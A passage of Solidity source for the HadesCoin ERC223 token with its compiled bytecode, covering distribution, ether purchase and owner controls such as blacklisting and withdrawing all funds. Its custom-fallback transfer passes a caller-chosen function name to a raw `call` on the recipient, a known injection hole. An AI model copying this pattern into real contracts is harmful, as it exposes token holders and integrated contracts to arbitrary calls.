function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Hadescoin is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "HadesCoin";
string internal symbol_ = "HAC";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 2000000000e18;
uint256 public toGiveBase = 5000e18;
uint256 public increaseBase = 500e18;
uint256 public OfficalHold = totalSupply_.mul(18).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=5000000;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function Hadescoin (address _target) public {
owner = msg.sender;
target = _target;
distr(target, OfficalHold);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(_amount[i] <= maxIncrease);
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
toGiveBase = _toGiveBase;
increaseBase = _increaseBase;
etherGetBase=_etherGetBase;
maxIncrease=_maxIncrease;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (toGiveBase > totalRemaining) {
toGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
if(etherValue>1e15){
require(finishEthGetToken==false);
value=etherValue.mul(etherGetBase);
value=value.add(toGiveBase);
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(finishFreeGetToken==false
&& toGiveBase <= totalRemaining
&& increase[investor]<=maxIncrease
&& now>=unlockUnixTime[investor]);
value=value.add(increase[investor].mul(increaseBase));
value=value.add(toGiveBase);
increase[investor]+=1;
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = this.balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60606040526004361061023b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610245578063095ea7b3146102d357806314ffbafc1461032d57806318160ddd1461035a5780631d3795e814610383578063227a7911146103b057806323b872dd146103d95780632e23062d14610452578063313ce5671461047b57806342966c68146104aa578063502dadb0146104cd57806351cff8d9146105275780635dfc34591461056057806370a0823114610589578063781c0db4146105d6578063829c34281461060357806382c6b2b6146106305780638da5cb5b1461065957806395d89b41146106ae57806397b68b601461073c5780639b1cbccc146107695780639c09c83514610796578063a6f9dae1146107f0578063a8c310d514610829578063a9059cbb146108c3578063aa6ca8081461091d578063b45be89b14610927578063bc2d10f114610950578063bcf6b3cd1461097d578063be45fd62146109d3578063c108d54214610a70578063c489744b14610a9d578063cbbe974b14610b09578063d1b6a51f14610b56578063d4b8399214610b83578063d83623dd14610bd8578063d8a5436014610c05578063dd62ed3e14610c2e578063df68c1a214610c9a578063e58fc54c14610cc7578063e6b71e4514610d18578063e7f9e40814610db2578063eab136a014610ddf578063efca2eed14610e2c578063f3e4877c14610e55578063f6368f8a14610eb8578063f9f92be414610f98575b610243610fe9565b005b341561025057600080fd5b610258611380565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029857808201518184015260208101905061027d565b50505050905090810190601f1680156102c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102de57600080fd5b610313600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611428565b604051808215151515815260200191505060405180910390f35b341561033857600080fd5b61034061151a565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b61036d6115b5565b6040518082815260200191505060405180910390f35b341561038e57600080fd5b6103966115bf565b604051808215151515815260200191505060405180910390f35b34156103bb57600080fd5b6103c361165a565b6040518082815260200191505060405180910390f35b34156103e457600080fd5b610438600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611660565b604051808215151515815260200191505060405180910390f35b341561045d57600080fd5b610465611b00565b6040518082815260200191505060405180910390f35b341561048657600080fd5b61048e611b06565b604051808260ff1660ff16815260200191505060405180910390f35b34156104b557600080fd5b6104cb6004808035906020019091905050611b1d565b005b34156104d857600080fd5b610525600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ce8565b005b341561053257600080fd5b61055e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dea565b005b341561056b57600080fd5b610573611ea5565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611eab565b6040518082815260200191505060405180910390f35b34156105e157600080fd5b6105e9611ef4565b604051808215151515815260200191505060405180910390f35b341561060e57600080fd5b610616611f8f565b604051808215151515815260200191505060405180910390f35b341561063b57600080fd5b61064361200e565b6040518082815260200191505060405180910390f35b341561066457600080fd5b61066c612014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106b957600080fd5b6106c1612039565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107015780820151818401526020810190506106e6565b50505050905090810190601f16801561072e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561074757600080fd5b61074f6120e1565b604051808215151515815260200191505060405180910390f35b341561077457600080fd5b61077c6120f4565b604051808215151515815260200191505060405180910390f35b34156107a157600080fd5b6107ee60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061218f565b005b34156107fb57600080fd5b610827600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612291565b005b341561083457600080fd5b6108c160048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612366565b005b34156108ce57600080fd5b610903600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506124b6565b604051808215151515815260200191505060405180910390f35b610925610fe9565b005b341561093257600080fd5b61093a612517565b6040518082815260200191505060405180910390f35b341561095b57600080fd5b61096361251d565b604051808215151515815260200191505060405180910390f35b341561098857600080fd5b6109b960048080359060200190919080359060200190919080359060200190919080359060200190919050506125b8565b604051808215151515815260200191505060405180910390f35b34156109de57600080fd5b610a56600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061263d565b604051808215151515815260200191505060405180910390f35b3415610a7b57600080fd5b610a83612696565b604051808215151515815260200191505060405180910390f35b3415610aa857600080fd5b610af3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506126a9565b6040518082815260200191505060405180910390f35b3415610b1457600080fd5b610b40600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061277c565b6040518082815260200191505060405180910390f35b3415610b6157600080fd5b610b69612794565b604051808215151515815260200191505060405180910390f35b3415610b8e57600080fd5b610b966127a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610be357600080fd5b610beb6127cd565b604051808215151515815260200191505060405180910390f35b3415610c1057600080fd5b610c1861284c565b6040518082815260200191505060405180910390f35b3415610c3957600080fd5b610c84600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612852565b6040518082815260200191505060405180910390f35b3415610ca557600080fd5b610cad6128d9565b604051808215151515815260200191505060405180910390f35b3415610cd257600080fd5b610cfe600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128ec565b604051808215151515815260200191505060405180910390f35b3415610d2357600080fd5b610db060048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612aff565b005b3415610dbd57600080fd5b610dc5612c33565b604051808215151515815260200191505060405180910390f35b3415610dea57600080fd5b610e16600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612cb2565b6040518082815260200191505060405180910390f35b3415610e3757600080fd5b610e3f612cca565b6040518082815260200191505060405180910390f35b3415610e6057600080fd5b610eb6600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050612cd0565b005b3415610ec357600080fd5b610f7e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612ded565b604051808215151515815260200191505060405180910390f35b3415610fa357600080fd5b610fcf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061322b565b604051808215151515815260200191505060405180910390f35b6000806000601360009054906101000a900460ff1615151561100a57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561106957600080fd5b600f54600c54111561107f57600f54600c819055505b33925034915066038d7ea4c680008211156111665760001515601360029054906101000a900460ff1615151415156110b657600080fd5b6110cb6012548361324b90919063ffffffff16565b90506110e2600c548261327e90919063ffffffff16565b9050600f5481111515156110f557600080fd5b6110ff838261329c565b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561116157600080fd5b611352565b60001515601360019054906101000a900460ff16151514801561118d5750600f54600c5411155b80156111da5750600654600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b80156112255750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210155b151561123057600080fd5b611296611287600d54600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461324b90919063ffffffff16565b8261327e90919063ffffffff16565b90506112ad600c548261327e90919063ffffffff16565b90506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611307838261329c565b50620151804201600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b5460105410151561137b576001601360006101000a81548160ff0219169083151502179055505b505050565b611388613a5e565b60088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561141e5780601f106113f35761010080835404028352916020019161141e565b820191906000526020600020905b81548152906001019060200180831161140157829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157757600080fd5b601360009054906101000a900460ff1615151561159357600080fd5b6000601360026101000a81548160ff0219169083151502179055506001905090565b6000600b54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161c57600080fd5b601360009054906101000a900460ff1615151561163857600080fd5b6000601360016101000a81548160ff0219169083151502179055506001905090565b60125481565b600060011515601160009054906101000a900460ff16151514151561168457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116c15750600082115b801561170c575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611794575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156117f0575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561184c575060001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561185757600080fd5b6118a982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061193e82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327e90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a1082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600d5481565b6000600a60009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7a57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bc857600080fd5b339050611c1d82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341890919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7582600b5461341890919063ffffffff16565b600b81905550611c908260105461341890919063ffffffff16565b6010819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4557600080fd5b60ff825111151515611d5657600080fd5b600090505b81518160ff161015611de657600160036000848460ff16815181101515611d7e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611d5b565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611ea157600080fd5b5050565b60065481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f5157600080fd5b601360009054906101000a900460ff16151515611f6d57600080fd5b6001601360016101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fec57600080fd5b6001601160006101000a81548160ff0219169083151502179055506001905090565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612041613a5e565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120d75780601f106120ac576101008083540402835291602001916120d7565b820191906000526020600020905b8154815290600101906020018083116120ba57829003601f168201915b5050505050905090565b601360019054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561215157600080fd5b601360009054906101000a900460ff1615151561216d57600080fd5b6001601360006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121ec57600080fd5b60ff8251111515156121fd57600080fd5b600090505b81518160ff16101561228d57600060036000848460ff1681518110151561222557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612202565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122ec57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561236357806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123c357600080fd5b601360009054906101000a900460ff161515156123df57600080fd5b60ff8351111515156123f057600080fd5b8151835114151561240057600080fd5b600090505b82518160ff1610156124b157600f54828260ff1681518110151561242557fe5b906020019060200201511115151561243c57600080fd5b61247a838260ff1681518110151561245057fe5b90602001906020020151838360ff1681518110151561246b57fe5b9060200190602002015161329c565b50600b546010541015156124a4576001601360006101000a81548160ff0219169083151502179055505b8080600101915050612405565b505050565b60006124c0613a72565b60011515601160009054906101000a900460ff1615151415156124e257600080fd5b6124eb84613431565b15612502576124fb848483613444565b9150612510565b61250d8484836137e5565b91505b5092915050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561257a57600080fd5b601360009054906101000a900460ff1615151561259657600080fd5b6001601360026101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561261557600080fd5b84600c8190555083600d81905550826012819055508160068190555060019050949350505050565b600060011515601160009054906101000a900460ff16151514151561266157600080fd5b61266a84613431565b156126815761267a848484613444565b905061268f565b61268c8484846137e5565b90505b9392505050565b601360009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561275457600080fd5b6102c65a03f1151561276557600080fd5b505050604051805190509050809250505092915050565b60056020528060005260406000206000915090505481565b601360029054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561282a57600080fd5b6000601360006101000a81548160ff0219169083151502179055506001905090565b600f5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900460ff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561294c57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156129f257600080fd5b6102c65a03f11515612a0357600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612adb57600080fd5b6102c65a03f11515612aec57600080fd5b5050506040518051905092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b5c57600080fd5b60ff835111151515612b6d57600080fd5b600090505b82518160ff161015612c2e57600654828260ff16815181101515612b9257fe5b906